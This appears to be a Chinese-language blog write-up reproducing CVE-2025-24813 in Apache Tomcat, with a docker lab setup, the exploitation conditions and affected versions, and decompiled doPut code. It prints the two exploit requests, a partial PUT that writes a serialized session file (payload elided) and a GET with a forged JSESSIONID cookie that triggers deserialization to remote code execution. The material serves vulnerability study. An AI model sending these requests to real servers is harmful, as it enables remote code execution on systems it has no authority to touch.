CVE-2025-24813,跟的不是很细,大概复现了一下
环境搭建
可以本地搭,我这里为了方便直接用docker了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| version: '3.8' services: tomcat: image: tomcat:9.0.8-jre8-slim container_name: CVE-2025-24813 volumes: - ./web.xml:/usr/local/tomcat/conf/web.xml - ./context.xml:/usr/local/tomcat/conf/context.xml - ./commons-collections-3.2.1.jar:/usr/local/tomcat/webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.jar ports: - "8080:8080" - "8000:8000" environment: - CATALINA_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=0.0.0.0:8000
|
然后把里面的lib拷出来加到idea库里面即可(不要用win上下载的tomcat的lib,代码会对不上)
利用条件
- DefaultServlet 写入功能启用:需在
web.xml 中配置 readonly=false
- Partial PUT 请求支持:Tomcat 默认支持分块上传
- 文件会话持久化启用:需在
context.xml 中配置 PersistentManager 和 FileStore
- 存在反序列化利用链:类路径下需包含存在漏洞的库
影响范围
- 9.0.0.M1 <= tomcat <= 9.0.98
- 10.1.0-M1 <= tomcat <= 10.1.34
- 11.0.0-M1 <= tomcat <= 11.0.2
漏洞分析
文件写入
同样是PUT请求造成的,这个爆出老多次漏洞了,但是之前没分析过。。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { if (this.readOnly) { this.sendNotAllowed(req, resp); } else { String path = this.getRelativePath(req); WebResource resource = this.resources.getResource(path); Range range = this.parseContentRange(req, resp); if (range != null) { InputStream resourceInputStream = null;
try { if (range == IGNORE) { resourceInputStream = req.getInputStream(); } else { File contentFile = this.executePartialPut(req, range, path); resourceInputStream = new FileInputStream(contentFile); }
if (this.resources.write(path, (InputStream)resourceInputStream, true)) { if (resource.exists()) { resp.setStatus(204); } else { resp.setStatus(201); } } else { resp.sendError(409); } } finally { if (resourceInputStream != null) { try { ((InputStream)resourceInputStream).close(); } catch (IOException var13) { } }
}
} } }
|
首先就有个if 判断,readOnly默认为true,所以需要改配置文件为false才能走下去
然后是parseContentRange 函数,这个即处理请求头中**Content-Range: bytes 0-1000/1200**的逻辑

先继续往下,来到下面这一行,跟进
1
| File contentFile = this.executePartialPut(req, range, path);
|
这个函数即造成漏洞的一个地方
1 2 3
| File tempDir = (File)this.getServletContext().getAttribute("javax.servlet.context.tempdir"); String convertedResourcePath = path.replace('/', '.'); File contentFile = new File(tempDir, convertedResourcePath);
|
会获取一个临时目录,然后将路径的/替换为.

临时目录路径为/usr/local/tomcat/work/Catalina/localhost/ROOT ,然后在这个目录创建了一个.poc.session 的文件,后续在下面设置文件的大小

这也是请求头那么设置的原因,相当于分段传输,后续将post传入的内容写入到创建的文件中

后续传入文件会显示409
1 2 3 4 5 6
| PUT /poc/session HTTP/1.1 Host: 192.168.188.129:8080 Content-Length: 1000 Content-Range: bytes 0-1000/1200
{{base64dec(rO0ABXNyABF......)}}
|

但是实际上已经传入成功,因为写入的逻辑已经走完了

后续就是利用,其实就是结合CVE-2020-9484的漏洞
反序列化
漏洞点在FileStore#load

可以看到这个地方默认加载的目录就是我们上面写入文件的地方,然后会进入到之前的老洞反序列化逻辑中


最终造成rce
1 2 3
| GET / HTTP/1.1 Host: 192.168.188.129:8080 Cookie: JSESSIONID=.poc
|

感觉这个洞更像是CVE-2020-9484的绕过,测试的时候发现这两个包发送间隔不能太长那个缓存文件似乎会自动删除
参考
https://www.bilibili.com/video/BV14dQjYcEc5/?vd_source=fdbccecc8d1a39a2449860e47c52b6e7
https://github.com/charis3306/CVE-2025-24813
https://boogipop.com/2025/03/13/CVE-2025-24813 Tomcat Session 反序列化组合拳/